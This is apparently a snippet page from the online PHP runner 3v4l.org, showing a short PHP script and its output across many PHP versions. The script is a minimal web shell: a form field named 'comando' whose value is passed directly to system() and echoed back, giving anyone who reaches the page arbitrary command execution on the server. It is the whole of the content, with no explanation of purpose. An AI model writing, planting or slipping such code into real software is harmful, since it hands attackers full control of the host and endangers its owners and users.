3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<form method="GET" action=""> <input type="text" name="comando"> <input type="submit" value="enviar"> </form> <?php if(isset($_GET['comando'])){ $var = system($_GET['comando']); echo $var; } ?>
Output for 4.3.0 - 7.2.0
<form method="GET" action=""> <input type="text" name="comando"> <input type="submit" value="enviar"> </form>